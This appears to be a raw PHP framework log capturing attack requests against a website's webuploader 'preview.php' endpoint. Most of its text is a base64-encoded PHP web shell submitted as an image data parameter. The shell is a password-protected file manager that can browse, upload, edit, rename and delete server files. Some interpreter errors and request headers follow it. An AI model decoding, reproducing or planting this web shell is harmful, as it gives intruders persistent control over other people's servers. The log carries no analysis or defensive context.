gkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'hui', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:24+08:00 ] 119.42.146.234 POST 51tianwei.com/jquery/UI/H-ui.admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002833s] [吞吐率:353.00req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgIC